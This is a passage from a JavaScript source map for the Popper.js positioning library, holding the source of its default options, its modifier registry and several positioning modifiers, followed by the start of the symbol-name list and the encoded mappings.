{Boolean} eventsEnabled=true\n   */\n  eventsEnabled: true,\n\n  /**\n   * Set to true if you want to automatically remove the popper when\n   * you call the `destroy` method.\n   * @prop {Boolean} removeOnDestroy=false\n   */\n  removeOnDestroy: false,\n\n  /**\n   * Callback called when the popper is created.<br />\n   * By default, it is set to no-op.<br />\n   * Access Popper.js instance with `data.instance`.\n   * @prop {onCreate}\n   */\n  onCreate: () => {},\n\n  /**\n   * Callback called when the popper is updated. This callback is not called\n   * on the initialization/creation of the popper, but only on subsequent\n   * updates.<br />\n   * By default, it is set to no-op.<br />\n   * Access Popper.js instance with `data.instance`.\n   * @prop {onUpdate}\n   */\n  onUpdate: () => {},\n\n  /**\n   * List of modifiers used to modify the offsets before they are applied to the popper.\n   * They provide most of the functionalities of Popper.js.\n   * @prop {modifiers}\n   */\n  modifiers,\n};\n\n/**\n * @callback onCreate\n * @param {dataObject} data\n */\n\n/**\n * @callback onUpdate\n * @param {dataObject} data\n */\n","import applyStyle, { applyStyleOnLoad } from './applyStyle';\nimport computeStyle from './computeStyle';\nimport arrow from './arrow';\nimport flip from './flip';\nimport keepTogether from './keepTogether';\nimport offset from './offset';\nimport preventOverflow from './preventOverflow';\nimport shift from './shift';\nimport hide from './hide';\nimport inner from './inner';\n\n/**\n * Modifier function, each modifier can have a function of this type assigned\n * to its `fn` property.<br />\n * These functions will be called on each update, this means that you must\n * make sure they are performant enough to avoid performance bottlenecks.\n *\n * @function ModifierFn\n * @argument {dataObject} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {dataObject} The data object, properly modified\n */\n\n/**\n * Modifiers are plugins used to alter the behavior of your poppers.<br />\n * Popper.js uses a set of 9 modifiers to provide all the basic functionalities\n * needed by the library.\n *\n * Usually you don't want to override the `order`, `fn` and `onLoad` props.\n * All the other properties are configurations that could be tweaked.\n * @namespace modifiers\n */\nexport default {\n  /**\n   * Modifier used to shift the popper on the start or end of its reference\n   * element.<br />\n   * It will read the variation of the `placement` property.<br />\n   * It can be one either `-end` or `-start`.\n   * @memberof modifiers\n   * @inner\n   */\n  shift: {\n    /** @prop {number} order=100 - Index used to define the order of execution */\n    order: 100,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: shift,\n  },\n\n  /**\n   * The `offset` modifier can shift your popper on both its axis.\n   *\n   * It accepts the following units:\n   * - `px` or unit-less, interpreted as pixels\n   * - `%` or `%r`, percentage relative to the length of the reference element\n   * - `%p`, percentage relative to the length of the popper element\n   * - `vw`, CSS viewport width unit\n   * - `vh`, CSS viewport height unit\n   *\n   * For length is intended the main axis relative to the placement of the popper.<br />\n   * This means that if the placement is `top` or `bottom`, the length will be the\n   * `width`. In case of `left` or `right`, it will be the `height`.\n   *\n   * You can provide a single value (as `Number` or `String`), or a pair of values\n   * as `String` divided by a comma or one (or more) white spaces.<br />\n   * The latter is a deprecated method because it leads to confusion and will be\n   * removed in v2.<br />\n   * Additionally, it accepts additions and subtractions between different units.\n   * Note that multiplications and divisions aren't supported.\n   *\n   * Valid examples are:\n   * ```\n   * 10\n   * '10%'\n   * '10, 10'\n   * '10%, 10'\n   * '10 + 10%'\n   * '10 - 5vh + 3%'\n   * '-10px + 5vh, 5px - 6%'\n   * ```\n   * > **NB**: If you desire to apply offsets to your poppers in a way that may make them overlap\n   * > with their reference element, unfortunately, you will have to disable the `flip` modifier.\n   * > You can read more on this at this [issue](https://github.com/FezVrasta/popper.js/issues/373).\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  offset: {\n    /** @prop {number} order=200 - Index used to define the order of execution */\n    order: 200,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: offset,\n    /** @prop {Number|String} offset=0\n     * The offset value as described in the modifier description\n     */\n    offset: 0,\n  },\n\n  /**\n   * Modifier used to prevent the popper from being positioned outside the boundary.\n   *\n   * A scenario exists where the reference itself is not within the boundaries.<br />\n   * We can say it has \"escaped the boundaries\" — or just \"escaped\".<br />\n   * In this case we need to decide whether the popper should either:\n   *\n   * - detach from the reference and remain \"trapped\" in the boundaries, or\n   * - if it should ignore the boundary and \"escape with its reference\"\n   *\n   * When `escapeWithReference` is set to`true` and reference is completely\n   * outside its boundaries, the popper will overflow (or completely leave)\n   * the boundaries in order to remain attached to the edge of the reference.\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  preventOverflow: {\n    /** @prop {number} order=300 - Index used to define the order of execution */\n    order: 300,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: preventOverflow,\n    /**\n     * @prop {Array} [priority=['left','right','top','bottom']]\n     * Popper will try to prevent overflow following these priorities by default,\n     * then, it could overflow on the left and on top of the `boundariesElement`\n     */\n    priority: ['left', 'right', 'top', 'bottom'],\n    /**\n     * @prop {number} padding=5\n     * Amount of pixel used to define a minimum distance between the boundaries\n     * and the popper. This makes sure the popper always has a little padding\n     * between the edges of its container\n     */\n    padding: 5,\n    /**\n     * @prop {String|HTMLElement} boundariesElement='scrollParent'\n     * Boundaries used by the modifier. Can be `scrollParent`, `window`,\n     * `viewport` or any DOM element.\n     */\n    boundariesElement: 'scrollParent',\n  },\n\n  /**\n   * Modifier used to make sure the reference and its popper stay near each other\n   * without leaving any gap between the two. Especially useful when the arrow is\n   * enabled and you want to ensure that it points to its reference element.\n   * It cares only about the first axis. You can still have poppers with margin\n   * between the popper and its reference element.\n   * @memberof modifiers\n   * @inner\n   */\n  keepTogether: {\n    /** @prop {number} order=400 - Index used to define the order of execution */\n    order: 400,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: keepTogether,\n  },\n\n  /**\n   * This modifier is used to move the `arrowElement` of the popper to make\n   * sure it is positioned between the reference element and its popper element.\n   * It will read the outer size of the `arrowElement` node to detect how many\n   * pixels of conjunction are needed.\n   *\n   * It has no effect if no `arrowElement` is provided.\n   * @memberof modifiers\n   * @inner\n   */\n  arrow: {\n    /** @prop {number} order=500 - Index used to define the order of execution */\n    order: 500,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: arrow,\n    /** @prop {String|HTMLElement} element='[x-arrow]' - Selector or node used as arrow */\n    element: '[x-arrow]',\n  },\n\n  /**\n   * Modifier used to flip the popper's placement when it starts to overlap its\n   * reference element.\n   *\n   * Requires the `preventOverflow` modifier before it in order to work.\n   *\n   * **NOTE:** this modifier will interrupt the current update cycle and will\n   * restart it if it detects the need to flip the placement.\n   * @memberof modifiers\n   * @inner\n   */\n  flip: {\n    /** @prop {number} order=600 - Index used to define the order of execution */\n    order: 600,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: flip,\n    /**\n     * @prop {String|Array} behavior='flip'\n     * The behavior used to change the popper's placement. It can be one of\n     * `flip`, `clockwise`, `counterclockwise` or an array with a list of valid\n     * placements (with optional variations)\n     */\n    behavior: 'flip',\n    /**\n     * @prop {number} padding=5\n     * The popper will flip if it hits the edges of the `boundariesElement`\n     */\n    padding: 5,\n    /**\n     * @prop {String|HTMLElement} boundariesElement='viewport'\n     * The element which will define the boundaries of the popper position.\n     * The popper will never be placed outside of the defined boundaries\n     * (except if `keepTogether` is enabled)\n     */\n    boundariesElement: 'viewport',\n  },\n\n  /**\n   * Modifier used to make the popper flow toward the inner of the reference element.\n   * By default, when this modifier is disabled, the popper will be placed outside\n   * the reference element.\n   * @memberof modifiers\n   * @inner\n   */\n  inner: {\n    /** @prop {number} order=700 - Index used to define the order of execution */\n    order: 700,\n    /** @prop {Boolean} enabled=false - Whether the modifier is enabled or not */\n    enabled: false,\n    /** @prop {ModifierFn} */\n    fn: inner,\n  },\n\n  /**\n   * Modifier used to hide the popper when its reference element is outside of the\n   * popper boundaries. It will set a `x-out-of-boundaries` attribute which can\n   * be used to hide with a CSS selector the popper when its reference is\n   * out of boundaries.\n   *\n   * Requires the `preventOverflow` modifier before it in order to work.\n   * @memberof modifiers\n   * @inner\n   */\n  hide: {\n    /** @prop {number} order=800 - Index used to define the order of execution */\n    order: 800,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: hide,\n  },\n\n  /**\n   * Computes the style that will be applied to the popper element to gets\n   * properly positioned.\n   *\n   * Note that this modifier will not touch the DOM, it just prepares the styles\n   * so that `applyStyle` modifier can apply it. This separation is useful\n   * in case you need to replace `applyStyle` with a custom implementation.\n   *\n   * This modifier has `850` as `order` value to maintain backward compatibility\n   * with previous versions of Popper.js. Expect the modifiers ordering method\n   * to change in future major versions of the library.\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  computeStyle: {\n    /** @prop {number} order=850 - Index used to define the order of execution */\n    order: 850,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: computeStyle,\n    /**\n     * @prop {Boolean} gpuAcceleration=true\n     * If true, it uses the CSS 3D transformation to position the popper.\n     * Otherwise, it will use the `top` and `left` properties\n     */\n    gpuAcceleration: true,\n    /**\n     * @prop {string} [x='bottom']\n     * Where to anchor the X axis (`bottom` or `top`). AKA X offset origin.\n     * Change this if your popper should grow in a direction different from `bottom`\n     */\n    x: 'bottom',\n    /**\n     * @prop {string} [x='left']\n     * Where to anchor the Y axis (`left` or `right`). AKA Y offset origin.\n     * Change this if your popper should grow in a direction different from `right`\n     */\n    y: 'right',\n  },\n\n  /**\n   * Applies the computed styles to the popper element.\n   *\n   * All the DOM manipulations are limited to this modifier. This is useful in case\n   * you want to integrate Popper.js inside a framework or view library and you\n   * want to delegate all the DOM manipulations to it.\n   *\n   * Note that if you disable this modifier, you must make sure the popper element\n   * has its position set to `absolute` before Popper.js can do its work!\n   *\n   * Just disable this modifier and define your own to achieve the desired effect.\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  applyStyle: {\n    /** @prop {number} order=900 - Index used to define the order of execution */\n    order: 900,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: applyStyle,\n    /** @prop {Function} */\n    onLoad: applyStyleOnLoad,\n    /**\n     * @deprecated since version 1.10.0, the property moved to `computeStyle` modifier\n     * @prop {Boolean} gpuAcceleration=true\n     * If true, it uses the CSS 3D transformation to position the popper.\n     * Otherwise, it will use the `top` and `left` properties\n     */\n    gpuAcceleration: undefined,\n  },\n};\n\n/**\n * The `dataObject` is an object containing all the information used by Popper.js.\n * This object is passed to modifiers and to the `onCreate` and `onUpdate` callbacks.\n * @name dataObject\n * @property {Object} data.instance The Popper.js instance\n * @property {String} data.placement Placement applied to popper\n * @property {String} data.originalPlacement Placement originally defined on init\n * @property {Boolean} data.flipped True if popper has been flipped by flip modifier\n * @property {Boolean} data.hide True if the reference element is out of boundaries, useful to know when to hide the popper\n * @property {HTMLElement} data.arrowElement Node used as arrow by arrow modifier\n * @property {Object} data.styles Any CSS property defined here will be applied to the popper. It expects the JavaScript nomenclature (eg. `marginBottom`)\n * @property {Object} data.arrowStyles Any CSS property defined here will be applied to the popper arrow. It expects the JavaScript nomenclature (eg. `marginBottom`)\n * @property {Object} data.boundaries Offsets of the popper boundaries\n * @property {Object} data.offsets The measurements of popper, reference and arrow elements\n * @property {Object} data.offsets.popper `top`, `left`, `width`, `height` values\n * @property {Object} data.offsets.reference `top`, `left`, `width`, `height` values\n * @property {Object} data.offsets.arrow] `top` and `left` offsets, only one of them will be different from 0\n */\n","/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function shift(data) {\n  const placement = data.placement;\n  const basePlacement = placement.split('-')[0];\n  const shiftvariation = placement.split('-')[1];\n\n  // if shift shiftvariation is specified, run the modifier\n  if (shiftvariation) {\n    const { reference, popper } = data.offsets;\n    const isVertical = ['bottom', 'top'].indexOf(basePlacement) !== -1;\n    const side = isVertical ? 'left' : 'top';\n    const measurement = isVertical ? 'width' : 'height';\n\n    const shiftOffsets = {\n      start: { [side]: reference[side] },\n      end: {\n        [side]: reference[side] + reference[measurement] - popper[measurement],\n      },\n    };\n\n    data.offsets.popper = { ...popper, ...shiftOffsets[shiftvariation] };\n  }\n\n  return data;\n}\n","import getOffsetParent from '../utils/getOffsetParent';\nimport getBoundaries from '../utils/getBoundaries';\nimport getSupportedPropertyName from '../utils/getSupportedPropertyName';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function preventOverflow(data, options) {\n  let boundariesElement =\n    options.boundariesElement || getOffsetParent(data.instance.popper);\n\n  // If offsetParent is the reference element, we really want to\n  // go one step up and use the next offsetParent as reference to\n  // avoid to make this modifier completely useless and look like broken\n  if (data.instance.reference === boundariesElement) {\n    boundariesElement = getOffsetParent(boundariesElement);\n  }\n\n  // NOTE: DOM access here\n  // resets the popper's position so that the document size can be calculated excluding\n  // the size of the popper element itself\n  const transformProp = getSupportedPropertyName('transform');\n  const popperStyles = data.instance.popper.style; // assignment to help minification\n  const { top, left, [transformProp]: transform } = popperStyles;\n  popperStyles.top = '';\n  popperStyles.left = '';\n  popperStyles[transformProp] = '';\n\n  const boundaries = getBoundaries(\n    data.instance.popper,\n    data.instance.reference,\n    options.padding,\n    boundariesElement,\n    data.positionFixed\n  );\n\n  // NOTE: DOM access here\n  // restores the original style properties after the offsets have been computed\n  popperStyles.top = top;\n  popperStyles.left = left;\n  popperStyles[transformProp] = transform;\n\n  options.boundaries = boundaries;\n\n  const order = options.priority;\n  let popper = data.offsets.popper;\n\n  const check = {\n    primary(placement) {\n      let value = popper[placement];\n      if (\n        popper[placement] < boundaries[placement] &&\n        !options.escapeWithReference\n      ) {\n        value = Math.max(popper[placement], boundaries[placement]);\n      }\n      return { [placement]: value };\n    },\n    secondary(placement) {\n      const mainSide = placement === 'right' ? 'left' : 'top';\n      let value = popper[mainSide];\n      if (\n        popper[placement] > boundaries[placement] &&\n        !options.escapeWithReference\n      ) {\n        value = Math.min(\n          popper[mainSide],\n          boundaries[placement] -\n            (placement === 'right' ? popper.width : popper.height)\n        );\n      }\n      return { [mainSide]: value };\n    },\n  };\n\n  order.forEach(placement => {\n    const side =\n      ['left', 'top'].indexOf(placement) !== -1 ? 'primary' : 'secondary';\n    popper = { ...popper, ...check[side](placement) };\n  });\n\n  data.offsets.popper = popper;\n\n  return data;\n}\n","/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function keepTogether(data) {\n  const { popper, reference } = data.offsets;\n  const placement = data.placement.split('-')[0];\n  const floor = Math.floor;\n  const isVertical = ['top', 'bottom'].indexOf(placement) !== -1;\n  const side = isVertical ? 'right' : 'bottom';\n  const opSide = isVertical ? 'left' : 'top';\n  const measurement = isVertical ? 'width' : 'height';\n\n  if (popper[side] < floor(reference[opSide])) {\n    data.offsets.popper[opSide] =\n      floor(reference[opSide]) - popper[measurement];\n  }\n  if (popper[opSide] > floor(reference[side])) {\n    data.offsets.popper[opSide] = floor(reference[side]);\n  }\n\n  return data;\n}\n","import getClientRect from '../utils/getClientRect';\nimport getOppositePlacement from '../utils/getOppositePlacement';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function inner(data) {\n  const placement = data.placement;\n  const basePlacement = placement.split('-')[0];\n  const { popper, reference } = data.offsets;\n  const isHoriz = ['left', 'right'].indexOf(basePlacement) !== -1;\n\n  const subtractLength = ['top', 'left'].indexOf(basePlacement) === -1;\n\n  popper[isHoriz ? 'left' : 'top'] =\n    reference[basePlacement] -\n    (subtractLength ? popper[isHoriz ? 'width' : 'height'] : 0);\n\n  data.placement = getOppositePlacement(placement);\n  data.offsets.popper = getClientRect(popper);\n\n  return data;\n}\n","import isModifierRequired from '../utils/isModifierRequired';\nimport find from '../utils/find';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function hide(data) {\n  if (!isModifierRequired(data.instance.modifiers, 'hide', 'preventOverflow')) {\n    return data;\n  }\n\n  const refRect = data.offsets.reference;\n  const bound = find(\n    data.instance.modifiers,\n    modifier => modifier.name === 'preventOverflow'\n  ).boundaries;\n\n  if (\n    refRect.bottom < bound.top ||\n    refRect.left > bound.right ||\n    refRect.top > bound.bottom ||\n    refRect.right < bound.left\n  ) {\n    // Avoid unnecessary DOM access if visibility hasn't changed\n    if (data.hide === true) {\n      return data;\n    }\n\n    data.hide = true;\n    data.attributes['x-out-of-boundaries'] = '';\n  } else {\n    // Avoid unnecessary DOM access if visibility hasn't changed\n    if (data.hide === false) {\n      return data;\n    }\n\n    data.hide = false;\n    data.attributes['x-out-of-boundaries'] = false;\n  }\n\n  return data;\n}\n","import setStyles from '../utils/setStyles';\nimport setAttributes from '../utils/setAttributes';\nimport getReferenceOffsets from '../utils/getReferenceOffsets';\nimport computeAutoPlacement from '../utils/computeAutoPlacement';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} data.styles - List of style properties - values to apply to popper element\n * @argument {Object} data.attributes - List of attribute properties - values to apply to popper element\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The same data object\n */\nexport default function applyStyle(data) {\n  // any property present in `data.styles` will be applied to the popper,\n  // in this way we can make the 3rd party modifiers add custom styles to it\n  // Be aware, modifiers could override the properties defined in the previous\n  // lines of this modifier!\n  setStyles(data.instance.popper, data.styles);\n\n  // any property present in `data.attributes` will be applied to the popper,\n  // they will be set as HTML attributes of the element\n  setAttributes(data.instance.popper, data.attributes);\n\n  // if arrowElement is defined and arrowStyles has some properties\n  if (data.arrowElement && Object.keys(data.arrowStyles).length) {\n    setStyles(data.arrowElement, data.arrowStyles);\n  }\n\n  return data;\n}\n\n/**\n * Set the x-placement attribute before everything else because it could be used\n * to add margins to the popper margins needs to be calculated to get the\n * correct popper offsets.\n * @method\n * @memberof Popper.modifiers\n * @param {HTMLElement} reference - The reference element used to position the popper\n * @param {HTMLElement} popper - The HTML element used as popper\n * @param {Object} options - Popper.js options\n */\nexport function applyStyleOnLoad(\n  reference,\n  popper,\n  options,\n  modifierOptions,\n  state\n) {\n  // compute reference element offsets\n  const referenceOffsets = getReferenceOffsets(state, popper, reference, options.positionFixed);\n\n  // compute auto placement, store placement inside the data object,\n  // modifiers will be able to edit `placement` if needed\n  // and refer to originalPlacement to know the original value\n  const placement = computeAutoPlacement(\n    options.placement,\n    referenceOffsets,\n    popper,\n    reference,\n    options.modifiers.flip.boundariesElement,\n    options.modifiers.flip.padding\n  );\n\n  popper.setAttribute('x-placement', placement);\n\n  // Apply `position` to popper before anything else because\n  // without the position applied we can't guarantee correct computations\n  setStyles(popper, { position: options.positionFixed ? 'fixed' : 'absolute' });\n\n  return options;\n}\n"],"names":["functionToCheck","getType","toString","call","element","nodeType","window","ownerDocument","defaultView","css","getComputedStyle","property","nodeName","parentNode","host","document","body","getStyleComputedProperty","overflow","overflowX","overflowY","test","getScrollParent","getParentNode","version","isIE11","documentElement","noOffsetParent","isIE","offsetParent","nextElementSibling","indexOf","getOffsetParent","firstElementChild","node","getRoot","element1","element2","order","compareDocumentPosition","Node","DOCUMENT_POSITION_FOLLOWING","start","end","range","createRange","setStart","setEnd","commonAncestorContainer","contains","isOffsetContainer","element1root","findCommonOffsetParent","side","upperSide","html","scrollingElement","subtract","scrollTop","getScroll","scrollLeft","modifier","top","bottom","left","right","sideA","axis","sideB","parseFloat","styles","Math","parseInt","computedStyle","getSize","offsets","width","height","rect","getBoundingClientRect","result","sizes","getWindowSizes","clientWidth","clientHeight","horizScrollbar","offsetWidth","vertScrollbar","offsetHeight","getBordersSize","getClientRect","fixedPosition","isIE10","runIsIE","isHTML","parent","childrenRect","parentRect","scrollParent","borderTopWidth","borderLeftWidth","marginTop","marginLeft","includeScroll","excludeScroll","relativeOffset","getOffsetRectRelativeToArbitraryNode","innerWidth","innerHeight","offset","isFixed","parentElement","el","boundaries","getFixedPositionOffsetParent","boundariesElement","getViewportOffsetRectRelativeToArtbitraryNode","boundariesNode","popper","padding","isPaddingNumber","placement","getBoundaries","rects","refRect","sortedAreas","Object","keys","map","getArea","sort","b","area","a","filteredAreas","filter","computedPlacement","length","key","variation","split","commonOffsetParent","x","marginBottom","y","marginRight","hash","replace","popperRect","getOuterSizes","popperOffsets","isHoriz","mainSide","secondarySide","measurement","secondaryMeasurement","referenceOffsets","getOppositePlacement","Array","prototype","find","arr","findIndex","cur","match","obj","modifiersToRun","ends","modifiers","slice","forEach","warn","fn","enabled","isFunction","data","reference","state","isDestroyed","getReferenceOffsets","options","positionFixed","computeAutoPlacement","flip","originalPlacement","getPopperOffsets","position","runModifiers","isCreated","onUpdate","onCreate","some","name","prefixes","upperProp","charAt","toUpperCase","i","prefix","toCheck","style","isModifierEnabled","removeAttribute","willChange","getSupportedPropertyName","disableEventListeners","removeOnDestroy","removeChild","isBody","target","addEventListener","passive","push","updateBound","scrollElement","scrollParents","eventsEnabled","setupEventListeners","scheduleUpdate","removeEventListener","removeEventListeners","n","isNaN","isFinite","unit","isNumeric","value","attributes","setAttribute","requesting","isRequired","requested","counter","index","validPlacements","concat","reverse","str","size","useHeight","fragments","frag","trim","divider","search","splitRegex","ops","mergeWithPrevious","op","reduce","toValue","index2","basePlacement","parseOffset","min","round","floor","max","timeoutDuration","longerTimeoutBrowsers","isBrowser","navigator","userAgent","supportsMicroTasks","Promise","called","resolve","then","scheduled","MSInputMethodContext","documentMode","placements","BEHAVIORS","Popper","requestAnimationFrame","update","debounce","bind","Defaults","jquery","modifierOptions","onLoad","enableEventListeners","destroy","Utils","global","PopperUtils","shiftvariation","isVertical","shiftOffsets","instance","transformProp","popperStyles","transform","priority","check","escapeWithReference","opSide","isModifierRequired","arrowElement","querySelector","len","sideCapitalized","toLowerCase","altSide","arrowElementSize","center","popperMarginSide","popperBorderSide","sideValue","arrow","flipped","placementOpposite","flipOrder","behavior","FLIP","CLOCKWISE","clockwise","COUNTERCLOCKWISE","refOffsets","overlapsRef","overflowsLeft","overflowsRight","overflowsTop","overflowsBottom","overflowsBoundaries","flippedVariation","flipVariations","getOppositeVariation","subtractLength","bound","hide","legacyGpuAccelerationOption","gpuAcceleration","offsetParentRect","prefixedProperty","invertTop","invertLeft","arrowStyles"],"mappings":"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